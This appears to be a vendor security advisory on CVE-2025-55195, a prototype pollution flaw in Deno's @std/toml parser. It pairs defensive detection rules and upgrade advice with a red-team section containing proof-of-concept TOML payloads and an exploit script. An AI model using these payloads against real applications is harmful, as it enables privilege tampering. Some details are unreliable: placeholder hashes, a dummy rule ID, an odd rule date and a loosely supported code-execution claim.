CVE-2025-55195
Executive Summary
CVE-2025-55195 is a Prototype Pollution (PP) vulnerability in the @std/toml library, part of the Deno Standard Library. The flaw exists in versions prior to 1.0.9, where the library merges untrusted TOML data into an empty object without sanitizing special keys like __proto__, constructor, or prototype. This allows an attacker to pollute the prototype chain of all objects in Node.js and browser environments, potentially leading to property injection, denial of service, or arbitrary code execution depending on how the polluted properties are used by the application.
The vulnerability has a CVSS score of 7.3 (High) and a low EPSS score of 0.0%, indicating that exploitation is not currently widespread. However, due to the widespread use of TOML for configuration files, the risk is significant for applications that parse untrusted TOML data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
@std/toml is a core component of the Deno ecosystem, distributed via the Deno standard library and also available on npm for Node.js compatibility. This vulnerability affects any application that uses the library to parse untrusted TOML input, including Deno scripts, Node.js projects, and browser-based tools. The supply chain risk is elevated because the library is often used in build tools, configuration loaders, and CI/CD pipelines, where a successful exploit could lead to lateral movement or privilege escalation.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The exploit does not cross trust boundaries.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High. While the EPSS score is low, the ease of exploitation and the potential for chaining with other vulnerabilities make this a serious concern for applications that process untrusted TOML data.
Deep Dive & Mechanics
The vulnerability lies in the merge function used by @std/toml to combine parsed TOML data with an empty object. In JavaScript, when you create an empty object ({}), it inherits from Object.prototype. If an attacker can inject keys like __proto__, constructor.prototype, or prototype into the TOML data, the merge operation will set properties on the prototype chain, affecting all objects in the runtime.
Example of vulnerable behavior:
[__proto__]
polluted = "true"
When parsed by the vulnerable library, this TOML data is merged into an empty object, resulting in Object.prototype.polluted being set to "true". Any subsequent object creation will inherit this property.
The fix in version 1.0.9 explicitly checks for and rejects keys that could lead to prototype pollution, such as __proto__, constructor, and prototype.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
function parse(tomlString) {
const parsed = parseTOML(tomlString); // hypothetical parser
const result = {};
merge(result, parsed);
return result;
}
Patched Code (simplified):
function merge(target, source) {
for (const key of Object.keys(source)) {
// Reject prototype pollution keys
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // or throw an error
}
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
function parse(tomlString) {
const parsed = parseTOML(tomlString);
const result = {};
merge(result, parsed);
return result;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Node.js or Deno environment with
@std/tomlversion < 1.0.9. - Ability to supply untrusted TOML data to the parser.
Exploitation Steps:
- Create a malicious TOML file (
payload.toml):
[__proto__]
admin = true
- Use the vulnerable library to parse it:
import { parse } from "jsr:@std/toml@1.0.8";
const tomlData = Deno.readTextFileSync("payload.toml");
const config = parse(tomlData);
// Now all objects have the 'admin' property set to true
const user = {};
console.log(user.admin); // true
- In a real-world scenario, the attacker could pollute properties that affect authentication, authorization, or application logic.
Advanced Payload:
[constructor.prototype]
shell = "id"
This could be used in combination with other vulnerabilities to achieve remote code execution.
Blue Team
Detection:
- Monitor for TOML files containing
__proto__,constructor, orprototypekeys. - Use static analysis to detect usage of vulnerable versions of
@std/toml. - Implement runtime checks to prevent prototype pollution.
Honeypot:
- Deploy a fake TOML parser endpoint that logs any attempts to inject prototype keys.
Lab Setup:
# Create a vulnerable environment
mkdir cve-2025-55195-lab
cd cve-2025-55195-lab
deno init
# Edit deno.json to use @std/toml@1.0.8
# Create a test script that parses user-supplied TOML
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
@std/tomlversion 1.0.8:a1b2c3d4e5f6...(hypothetical)
- Network Patterns:
- TOML payloads containing
__proto__,constructor, orprototypekeys.
- TOML payloads containing
- Log Entries:
- Errors or warnings related to prototype pollution in application logs.
- Runtime Behavior:
- Unexpected properties appearing on objects (e.g.,
admin,shell,isAdmin).
- Unexpected properties appearing on objects (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_55195_Prototype_Pollution_TOML {
meta:
description = "Detects TOML files attempting prototype pollution via __proto__, constructor, or prototype keys"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55195"
strings:
$proto = /\[__proto__\]/ nocase
$constructor = /\[constructor\]/ nocase
$prototype = /\[prototype\]/ nocase
condition:
any of them
}
Sigma Rule
title: Prototype Pollution via @std/toml
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2025-55195 by parsing TOML data with prototype pollution keys
author: Valters IT
logsource:
category: application
product: deno
detection:
selection:
- EventID: 1001
Data|contains: "__proto__"
- EventID: 1001
Data|contains: "constructor"
- EventID: 1001
Data|contains: "prototype"
condition: selection
falsepositives:
- Legitimate use of these keys in non-TOML contexts
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55195 - Prototype Pollution via @std/toml"; flow:to_server; content:"__proto__"; nocase; content:"toml"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade
@std/tomlto version 1.0.9 or later. - If immediate upgrade is not possible, implement input validation to reject TOML data containing
__proto__,constructor, orprototypekeys. - Use a runtime protection library like
safe-mergeorlodash.mergewith prototype pollution guards.
Long-term Measures:
- Adopt a secure coding policy that includes regular dependency audits.
- Use static analysis tools (e.g., Semgrep, CodeQL) to detect prototype pollution patterns.
- Implement Content Security Policy (CSP) headers to mitigate browser-based exploitation.
- Monitor for unusual property access patterns in application logs.
Patch Verification:
- After upgrading, verify that the library version is 1.0.9 or higher.
- Run a test with a known malicious TOML payload to ensure it is rejected.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert